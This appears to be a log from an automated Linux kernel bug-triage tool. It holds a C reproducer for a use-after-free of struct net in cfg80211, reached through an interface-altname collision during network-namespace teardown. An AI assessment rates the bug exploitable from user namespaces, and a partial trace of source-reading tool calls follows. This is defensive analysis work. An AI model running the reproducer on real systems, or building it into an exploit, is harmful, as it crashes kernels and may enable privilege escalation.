ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
</TASK>
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
#define _GNU_SOURCE
#include <errno.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_link.h>
#include <net/if.h>
#define HWSIM_CMD_NEW_RADIO 4
#define HWSIM_CMD_DEL_RADIO 5
#define HWSIM_ATTR_RADIO_NAME 17
#define NL80211_CMD_NEW_INTERFACE 7
#define NL80211_CMD_SET_WIPHY_NETNS 49
#define NL80211_ATTR_WIPHY 1
#define NL80211_ATTR_IFNAME 4
#define NL80211_ATTR_IFTYPE 5
#define NL80211_ATTR_PID 82
#define NL80211_IFTYPE_STATION 2
#define RTM_NEWLINKPROP 108
#define IFLA_PROP_LIST 52
#define IFLA_ALT_IFNAME 53
#define NLA_F_NESTED (1 << 15)
int get_family_id(int fd, const char *family_name) {
struct {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = GENL_ID_CTRL;
req.n.nlmsg_flags = NLM_F_REQUEST;
req.n.nlmsg_seq = 1;
req.g.cmd = CTRL_CMD_GETFAMILY;
req.g.version = 1;
size_t name_len = strlen(family_name) + 1;
struct nlattr *nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = CTRL_ATTR_FAMILY_NAME;
nla->nla_len = NLA_HDRLEN + name_len;
memcpy((char *)nla + NLA_HDRLEN, family_name, name_len);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in get_family_id: %s\n", strerror(errno));
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len < 0) {
printf("[-] Failed to recv in get_family_id: %s\n", strerror(errno));
return -1;
}
int family_id = -1;
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == GENL_ID_CTRL) {
struct genlmsghdr *ghdr = (struct genlmsghdr *)NLMSG_DATA(nlh);
struct nlattr *attr = (struct nlattr *)((char *)ghdr + GENL_HDRLEN);
int rem = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
while (rem >= (int)sizeof(struct nlattr) &&
attr->nla_len >= sizeof(struct nlattr) &&
attr->nla_len <= rem) {
if ((attr->nla_type & NLA_TYPE_MASK) == CTRL_ATTR_FAMILY_ID) {
family_id = *(uint16_t *)((char *)attr + NLA_HDRLEN);
break;
}
int aligned = NLA_ALIGN(attr->nla_len);
rem -= aligned;
attr = (struct nlattr *)((char *)attr + aligned);
}
}
}
return family_id;
}
int create_hwsim_radio(int fd, int family_id, const char *phyname) {
struct {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = family_id;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.n.nlmsg_seq = 2;
req.g.cmd = HWSIM_CMD_NEW_RADIO;
req.g.version = 1;
struct nlattr *nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = HWSIM_ATTR_RADIO_NAME;
nla->nla_len = NLA_HDRLEN + strlen(phyname) + 1;
memcpy((char *)nla + NLA_HDRLEN, phyname, strlen(phyname) + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in create_hwsim_radio: %s\n", strerror(errno));
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len < 0) {
printf("[-] Failed to recv in create_hwsim_radio: %s\n", strerror(errno));
return -1;
}
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (err->error < 0) {
printf("[-] Error creating radio: %s (%d)\n", strerror(-err->error), err->error);
return -1;
}
}
}
return 0;
}
int create_wlan_interface(int fd, int family_id, int wiphy_idx, const char *ifname) {
struct {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = family_id;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.n.nlmsg_seq = 3;
req.g.cmd = NL80211_CMD_NEW_INTERFACE;
req.g.version = 1;
struct nlattr *nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = NL80211_ATTR_WIPHY;
nla->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)nla + NLA_HDRLEN) = wiphy_idx;
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = NL80211_ATTR_IFNAME;
nla->nla_len = NLA_HDRLEN + strlen(ifname) + 1;
memcpy((char *)nla + NLA_HDRLEN, ifname, strlen(ifname) + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = NL80211_ATTR_IFTYPE;
nla->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)nla + NLA_HDRLEN) = NL80211_IFTYPE_STATION;
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in create_wlan_interface: %s\n", strerror(errno));
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len < 0) {
printf("[-] Failed to recv in create_wlan_interface: %s\n", strerror(errno));
return -1;
}
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (err->error < 0) {
printf("[-] create_wlan_interface returned: %s (%d)\n", strerror(-err->error), err->error);
return -1;
}
}
}
return 0;
}
int move_wiphy(int fd, int family_id, int wiphy_idx, int pid) {
struct {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = family_id;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.n.nlmsg_seq = 4;
req.g.cmd = NL80211_CMD_SET_WIPHY_NETNS;
req.g.version = 1;
struct nlattr *nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = NL80211_ATTR_WIPHY;
nla->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)nla + NLA_HDRLEN) = wiphy_idx;
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = NL80211_ATTR_PID;
nla->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)nla + NLA_HDRLEN) = pid;
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in move_wiphy: %s\n", strerror(errno));
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len < 0) {
printf("[-] Failed to recv in move_wiphy: %s\n", strerror(errno));
return -1;
}
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (err->error < 0) {
printf("[-] move_wiphy returned: %s (%d)\n", strerror(-err->error), err->error);
return -1;
}
}
}
return 0;
}
int add_altname(int ifindex, const char *altname) {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) {
printf("[-] Failed to socket in add_altname: %s\n", strerror(errno));
return -1;
}
struct {
struct nlmsghdr n;
struct ifinfomsg i;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.n.nlmsg_type = RTM_NEWLINKPROP;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.i.ifi_family = AF_UNSPEC;
req.i.ifi_index = ifindex;
struct rtattr *prop = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
prop->rta_type = IFLA_PROP_LIST | NLA_F_NESTED;
prop->rta_len = RTA_LENGTH(0);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + RTA_ALIGN(prop->rta_len);
struct rtattr *alt = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
alt->rta_type = IFLA_ALT_IFNAME;
alt->rta_len = RTA_LENGTH(strlen(altname) + 1);
memcpy(RTA_DATA(alt), altname, strlen(altname) + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + RTA_ALIGN(alt->rta_len);
prop->rta_len = (char *)(((char *)&req) + req.n.nlmsg_len) - (char *)prop;
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in add_altname: %s\n", strerror(errno));
close(fd);
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len >= 0) {
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (err->error < 0) {
printf("[-] Error adding altname: %s (%d)\n", strerror(-err->error), err->error);
close(fd);
return -1;
}
}
}
}
close(fd);
return 0;
}
int create_dummy_interface(const char *name) {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) {
printf("[-] Failed to socket in create_dummy_interface: %s\n", strerror(errno));
return -1;
}
struct {
struct nlmsghdr n;
struct ifinfomsg i;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.n.nlmsg_type = RTM_NEWLINK;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE;
req.i.ifi_family = AF_UNSPEC;
struct rtattr *rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
rta->rta_type = IFLA_IFNAME;
rta->rta_len = RTA_LENGTH(strlen(name) + 1);
memcpy(RTA_DATA(rta), name, strlen(name) + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + RTA_ALIGN(rta->rta_len);
struct rtattr *linkinfo = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
linkinfo->rta_type = IFLA_LINKINFO | NLA_F_NESTED;
linkinfo->rta_len = RTA_LENGTH(0);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + RTA_ALIGN(linkinfo->rta_len);
struct rtattr *kind = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
kind->rta_type = IFLA_INFO_KIND;
kind->rta_len = RTA_LENGTH(strlen("dummy") + 1);
memcpy(RTA_DATA(kind), "dummy", strlen("dummy") + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + RTA_ALIGN(kind->rta_len);
linkinfo->rta_len = (char *)(((char *)&req) + req.n.nlmsg_len) - (char *)linkinfo;
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in create_dummy_interface: %s\n", strerror(errno));
close(fd);
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len < 0) {
printf("[-] Failed to recv in create_dummy_interface: %s\n", strerror(errno));
close(fd);
return -1;
}
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (err->error < 0 && err->error != -EEXIST) {
printf("[-] Error creating dummy interface: %s (%d)\n", strerror(-err->error), err->error);
close(fd);
return -1;
}
}
}
close(fd);
return 0;
}
int main(void) {
printf("[*] Starting reproducer...\n");
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) {
printf("[-] Failed to socket: %s\n", strerror(errno));
exit(1);
}
printf("[+] socket successful.\n");
int hwsim_id = get_family_id(fd, "MAC80211_HWSIM");
if (hwsim_id < 0) {
printf("[-] Failed to get MAC80211_HWSIM family ID\n");
exit(1);
}
printf("[+] get_family_id MAC80211_HWSIM successful.\n");
int nl80211_id = get_family_id(fd, "nl80211");
if (nl80211_id < 0) {
printf("[-] Failed to get nl80211 family ID\n");
exit(1);
}
printf("[+] get_family_id nl80211 successful.\n");
/* 1. Create a hwsim radio in init_net (this automatically creates wlan0). */
if (create_hwsim_radio(fd, hwsim_id, "hwsim_test0") < 0) {
printf("[-] Failed to create_hwsim_radio\n");
exit(1);
}
printf("[+] create_hwsim_radio successful.\n");
/* We assume wiphy index is 0 for the first created wiphy. */
int wiphy_idx = 0;
/* 2. Create a second interface wlan_test1 on the same radio */
if (create_wlan_interface(fd, nl80211_id, wiphy_idx, "wlan_test1") < 0) {
printf("[-] Failed to create_wlan_interface\n");
exit(1);
}
printf("[+] create_wlan_interface successful.\n");
/* 3. Add an altname to wlan_test1 */
int wlan1_idx = if_nametoindex("wlan_test1");
if (wlan1_idx > 0) {
if (add_altname(wlan1_idx, "myaltname") < 0) {
printf("[-] Failed to add_altname to wlan_test1\n");
exit(1);
}
printf("[+] add_altname to wlan_test1 successful.\n");
} else {
printf("[-] Could not find wlan_test1\n");
exit(1);
}
/* 4. Move the wiphy to a new netns (netns B) */
int sv_B[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv_B) < 0) {
printf("[-] Failed to socketpair: %s\n", strerror(errno));
exit(1);
}
pid_t pid_B = fork();
if (pid_B < 0) {
printf("[-] Failed to fork: %s\n", strerror(errno));
exit(1);
}
if (pid_B == 0) {
close(sv_B[0]);
if (unshare(CLONE_NEWNET) < 0) {
printf("[-] Failed to unshare: %s\n", strerror(errno));
exit(1);
}
/* Tell parent we are ready */
if (write(sv_B[1], "A", 1) != 1) {
printf("[-] Failed to write to sv_B[1]: %s\n", strerror(errno));
exit(1);
}
/* Wait for parent to finish */
char buf;
if (read(sv_B[1], &buf, 1) != 1) {
printf("[-] Failed to read from sv_B[1]: %s\n", strerror(errno));
exit(1);
}
exit(0);
}
close(sv_B[1]);
char buf;
if (read(sv_B[0], &buf, 1) != 1) {
printf("[-] Failed to read from sv_B[0]: %s\n", strerror(errno));
exit(1);
}
if (move_wiphy(fd, nl80211_id, wiphy_idx, pid_B) < 0) {
printf("[-] Failed to move_wiphy\n");
exit(1);
}
printf("[+] move_wiphy successful.\n");
/* 5. Create a dummy interface in init_net and add the SAME altname to it */
if (create_dummy_interface("dummy_test0") < 0) {
printf("[-] Failed to create_dummy_interface\n");
exit(1);
}
printf("[+] create_dummy_interface successful.\n");
int dummy_idx = if_nametoindex("dummy_test0");
if (dummy_idx > 0) {
if (add_altname(dummy_idx, "myaltname") < 0) {
printf("[-] Failed to add_altname to dummy_test0\n");
exit(1);
}
printf("[+] add_altname to dummy_test0 successful.\n");
} else {
printf("[-] Could not find dummy_test0\n");
exit(1);
}
/* 6. Destroy netns B */
if (write(sv_B[0], "B", 1) != 1) {
printf("[-] Failed to write to sv_B[0]: %s\n", strerror(errno));
exit(1);
}
waitpid(pid_B, NULL, 0);
printf("[+] netns B destroyed.\n");
/* 7. Wait for netns B to be destroyed */
sleep(2);
/* 8. Delete the hwsim radio */
struct {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = hwsim_id;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.g.cmd = HWSIM_CMD_DEL_RADIO;
req.g.version = 1;
struct nlattr *nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = HWSIM_ATTR_RADIO_NAME;
nla->nla_len = NLA_HDRLEN + strlen("hwsim_test0") + 1;
memcpy((char *)nla + NLA_HDRLEN, "hwsim_test0", strlen("hwsim_test0") + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto HWSIM_CMD_DEL_RADIO: %s\n", strerror(errno));
exit(1);
}
printf("[+] sendto HWSIM_CMD_DEL_RADIO successful.\n");
sleep(2);
return 0;
}
Reply: Based on the analysis of the bug report and the provided reproducer, here is the assessment of the vulnerability:
### Root Cause Analysis
The bug is a **Use-After-Free (UAF) of `struct net`** in the `cfg80211` subsystem, which is triggered when a wireless hardware device (wiphy) fails to be moved back to the initial network namespace (`init_net`) during the destruction of a user-created network namespace.
When a network namespace is destroyed, the kernel invokes `cfg80211_pernet_exit()`, which attempts to rescue any wiphy present in that namespace by moving it back to `init_net` via `cfg80211_switch_netns()`. This function iterates over the wiphy's network interfaces and calls `dev_change_net_namespace()`.
If an interface has an alternative name (altname) that conflicts with an existing interface name or altname in `init_net` (e.g., `eth0` or `lo`), `dev_change_net_namespace()` fails with `-EEXIST`. Because `cfg80211_pernet_exit()` only issues a `WARN_ON()` and does not handle the failure, the wiphy is left behind with its `wiphy_net` pointer still referencing the dying network namespace.
Once the namespace is fully destroyed and its `struct net` is freed, the wiphy remains registered in `cfg80211`. Any subsequent netlink events or commands involving this wiphy (such as deleting the wiphy, which triggers `nl80211_notify_wiphy()`) will dereference the freed `struct net` pointer (e.g., accessing `net->genl_sock` in `genlmsg_multicast_netns()`), leading to a classic use-after-free.
The lockdep warning shown in the bug report (`WARNING: net/wireless/core.c:1957 at wiphy_delayed_work_cancel`) is a direct side effect of this failure: because the interfaces were not moved to `init_net`, they are forcefully unregistered by the dying namespace's `cleanup_net()` routine. This bypasses the normal `mac80211` teardown sequence, causing `ndo_uninit` to be invoked without holding the `wiphy->mtx` lock, which triggers the lockdep assertion.
### Security Impact
* **Exploitable:** **Yes.** The UAF of `struct net` can be leveraged by an attacker to corrupt memory, leak information, or hijack control flow (e.g., via function pointers within the `struct net` or overlapping objects), leading to privilege escalation.
* **Denial Of Service:** **Yes.** Dereferencing the freed `struct net` pointer will reliably cause a kernel panic.
* **Accessible From User Namespaces:** **Yes.** An unprivileged user can trigger this bug if they can create a user namespace and a network namespace. They can use a software wiphy (e.g., via `mac80211_hwsim`, if the module is loaded) to create a radio, assign it an altname that intentionally conflicts with a known interface in `init_net` (like `eth0`), and then destroy the namespace to trigger the UAF.
* **Accessible From Unprivileged Processes:** **No.** Triggering the bug requires `CAP_NET_ADMIN` to add altnames and manipulate the wiphy, which is only available to unprivileged users if they can transition into a new user namespace.
### Conclusion
This is a highly exploitable Use-After-Free vulnerability accessible from user namespaces. It allows a local attacker to crash the system or potentially escalate privileges by intentionally causing an interface altname collision during network namespace teardown.
|
| 6/2 |
2026/08/26 09:57 |
llm |
expert |
0m
Model:
Tokens:
input: 14379
output: 35
thoughts: 627
Thoughts: **Analyzing a Kernel Lockdep Warning**
Okay, so I've got this kernel bug report, and it looks like a lockdep warning. The key line here is: `debug_locks && !(lock_is_held(&(&wiphy->mtx)->dep_map) != 0)`. Right, that means the code is trying to cancel a delayed work associated with `wiphy` but *isn't* holding the mutex `wiphy->mtx`. That's a textbook lockdep violation. The warning specifically points to `net/wireless/core.c:1957`. I'll need to go look at that line immediately. It seems like we're freeing keys via `ieee80211_free_keys`, which then ends up calling `wiphy_delayed_work_cancel` via multiple layers in the stack. Something in that chain isn't taking the lock when it should. Time to dive into the code.
|
| 7/2 |
2026/08/26 09:57 |
tool |
grepper |
0m
Args: map[Expression:wiphy_delayed_work_cancel PathPrefix:net/wireless/core.c]
Results: map[Output:net/wireless/core.c=1952=EXPORT_SYMBOL_GPL(wiphy_delayed_work_queue);
net/wireless/core.c-1953-
net/wireless/core.c:1954:void wiphy_delayed_work_cancel(struct wiphy *wiphy,
net/wireless/core.c-1955- struct wiphy_delayed_work *dwork)
--
net/wireless/core.c-1961-}
net/wireless/core.c:1962:EXPORT_SYMBOL_GPL(wiphy_delayed_work_cancel);
net/wireless/core.c-1963-
]
|
| 8/2 |
2026/08/26 09:58 |
llm |
expert |
0m
Model:
Tokens:
input: 15422
output: 36
thoughts: 21
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Diving into Core Wireless Implementation**
Okay, let's zero in on `net/wireless/core.c` around line 1954. I'm specifically thinking about where the core wireless functionality is implemented. My suspicion is that this area likely deals with a fundamental function for this module, probably related to either device initialization, connection management, or perhaps the higher-level interface to the mac layer, given it's in `core.c`. I'm going to look for hints about how the wireless stack handles the initial setup of wireless devices, or maybe how it's managing connections on a more basic level. I'll need to parse the surrounding code to grasp the overall data flow and identify any potential areas for optimization, or maybe look for a known bug. Time to get my hands dirty.
|
| 9/2 |
2026/08/26 09:58 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:1950 LineCount:20]
Results: map[Contents:1950: mod_timer(&dwork->timer, jiffies + delay);
1951: }
1952: EXPORT_SYMBOL_GPL(wiphy_delayed_work_queue);
1953:
1954: void wiphy_delayed_work_cancel(struct wiphy *wiphy,
1955: struct wiphy_delayed_work *dwork)
1956: {
1957: lockdep_assert_held(&wiphy->mtx);
1958:
1959: timer_delete_sync(&dwork->timer);
1960: wiphy_work_cancel(wiphy, &dwork->work);
1961: }
1962: EXPORT_SYMBOL_GPL(wiphy_delayed_work_cancel);
1963:
1964: void wiphy_delayed_work_flush(struct wiphy *wiphy,
1965: struct wiphy_delayed_work *dwork)
1966: {
1967: lockdep_assert_held(&wiphy->mtx);
1968:
1969: timer_delete_sync(&dwork->timer);
]
|
| 10/2 |
2026/08/26 09:58 |
llm |
expert |
0m
Model:
Tokens:
input: 15993
output: 41
thoughts: 148
Thoughts: **Analyzing a Lockdep Warning**
Okay, so I'm looking at this `lockdep_assert_held(&wiphy->mtx);` call. Right, a lockdep warning. And of course, I know these aren't going to surface in a production environment because lockdep is typically disabled there. So, no immediate risk of a crash or panic. But, does that mean there's *no* actual bug? I'm not so sure.
Let's dig a little deeper. `wiphy_delayed_work_cancel` is the culprit, and that calls both `timer_delete_sync` and `wiphy_work_cancel`. Now, if `wiphy->mtx` *isn't* held when those functions are called, is there a race condition lurking in there somewhere? That's what I need to figure out. Hmm, I know what I will do, let's go check out `ieee80211_free_keys` in `net/mac80211/key.c:1148`. That looks like a good place to start.
|
| 11/2 |
2026/08/26 09:58 |
tool |
read-file |
0m
Args: map[File:net/mac80211/key.c FirstLine:1140 LineCount:20]
Results: map[Contents:1140: bool force_synchronize)
1141: {
1142: struct ieee80211_local *local = sdata->local;
1143: struct ieee80211_sub_if_data *vlan;
1144: struct ieee80211_sub_if_data *master;
1145: struct ieee80211_key *key, *tmp;
1146: LIST_HEAD(keys);
1147:
1148: wiphy_delayed_work_cancel(local->hw.wiphy,
1149: &sdata->dec_tailroom_needed_wk);
1150:
1151: lockdep_assert_wiphy(local->hw.wiphy);
1152:
1153: ieee80211_free_keys_iface(sdata, &keys);
1154:
1155: if (sdata->vif.type == NL80211_IFTYPE_AP) {
1156: list_for_each_entry(vlan, &sdata->u.ap.vlans, u.vlan.list)
1157: ieee80211_free_keys_iface(vlan, &keys);
1158: }
1159:
]
|
| 12/2 |
2026/08/26 09:58 |
llm |
expert |
0m
Model:
Tokens:
input: 16798
output: 28
thoughts: 82
Thoughts: Here's my summary, as though I'm thinking through this code:
**Analyzing the IEEE 802.11 Key Release Sequence**
Okay, so I'm looking at `ieee80211_free_keys`. The first thing that jumps out is that it's calling `wiphy_delayed_work_cancel` on `sdata->dec_tailroom_needed_wk`. This suggests a delayed work item related to decrementing the tailroom is pending and needs to be cancelled before the keys are freed. Makes sense, we don't want any deferred operations interfering with key cleanup.
Then, there's a `lockdep_assert_wiphy(local->hw.wiphy);` call. Alright, time to remember how lockdep works and see what this is telling us. Let me quickly refresh on the definition... I know `lockdep` is all about detecting locking order violations. So, this `lockdep_assert_wiphy` is meant to be a check for correct lock ordering related to the `wiphy` object. It's probably ensuring that this key freeing function doesn't violate any lock hierarchy rules established for the wireless hardware or its associated workqueue. I need to dig into the exact definition of this function to see which locks it checks against, but this is clearly an important part of preventing deadlocks in the driver. It's a critical safety measure and this call is likely indicating a point where we expect the relevant locks to be held or not held, in order to guarantee safety. I need to make a note to follow up on *why* this assertion is required here, but so far this is a pretty standard cleanup sequence.
|
| 13/2 |
2026/08/26 09:58 |
tool |
grepper |
0m
Args: map[Expression:define lockdep_assert_wiphy PathPrefix:]
Results: map[Output:include/net/cfg80211.h=6810=int wiphy_register(struct wiphy *wiphy);
--
include/net/cfg80211.h-6812-/* this is a define for better error reporting (file/line) */
include/net/cfg80211.h:6813:#define lockdep_assert_wiphy(wiphy) lockdep_assert_held(&(wiphy)->mtx)
include/net/cfg80211.h-6814-
]
|
| 14/2 |
2026/08/26 09:58 |
llm |
expert |
0m
Model:
Tokens:
input: 17407
output: 41
thoughts: 145
Thoughts: **Analyzing Potential Lockdep Issues in mac80211**
Okay, so I'm looking at this `lockdep_assert_wiphy` function, and it's essentially an assertion that `wiphy->mtx` is held. Makes sense. Now, if I'm understanding this correctly, if that mutex isn't actually held when we call *either* `wiphy_delayed_work_cancel` or `lockdep_assert_wiphy`, we're going to get a lockdep warning. That's a classic concurrency bug, and those are always fun to track down.
But hang on... I recall that `ieee80211_free_keys` is called from `ieee80211_teardown_sdata`. Let me just double-check that `ieee80211_teardown_sdata` definition, specifically line 906 in `net/mac80211/iface.c`. I need to ensure there isn't a race condition here. This needs a closer look.
|
| 15/2 |
2026/08/26 09:58 |
tool |
read-file |
0m
Args: map[File:net/mac80211/iface.c FirstLine:890 LineCount:30]
Results: map[Contents: 890: spin_lock_bh(&local->filter_lock);
891: __hw_addr_sync(&local->mc_list, &dev->mc, dev->addr_len);
892: spin_unlock_bh(&local->filter_lock);
893: wiphy_work_queue(local->hw.wiphy, &local->reconfig_filter);
894: }
895:
896: /*
897: * Called when the netdev is removed or, by the code below, before
898: * the interface type changes.
899: */
900: static void ieee80211_teardown_sdata(struct ieee80211_sub_if_data *sdata)
901: {
902: if (WARN_ON(!list_empty(&sdata->work.entry)))
903: wiphy_work_cancel(sdata->local->hw.wiphy, &sdata->work);
904:
905: /* free extra data */
906: ieee80211_free_keys(sdata, false);
907:
908: ieee80211_debugfs_remove_netdev(sdata);
909:
910: ieee80211_destroy_frag_cache(&sdata->frags);
911:
912: if (ieee80211_vif_is_mesh(&sdata->vif))
913: ieee80211_mesh_teardown_sdata(sdata);
914:
915: ieee80211_vif_clear_links(sdata);
916: ieee80211_link_stop(&sdata->deflink);
917:
918: if (sdata->vif.type == NL80211_IFTYPE_NAN) {
919: struct ieee80211_nan_sched_cfg *nan_sched =
]
|
| 16/2 |
2026/08/26 09:58 |
llm |
expert |
0m
Model:
Tokens:
input: 18404
output: 37
thoughts: 277
Thoughts: **Analyzing the Unregistration of a Netdevice and its Implications**
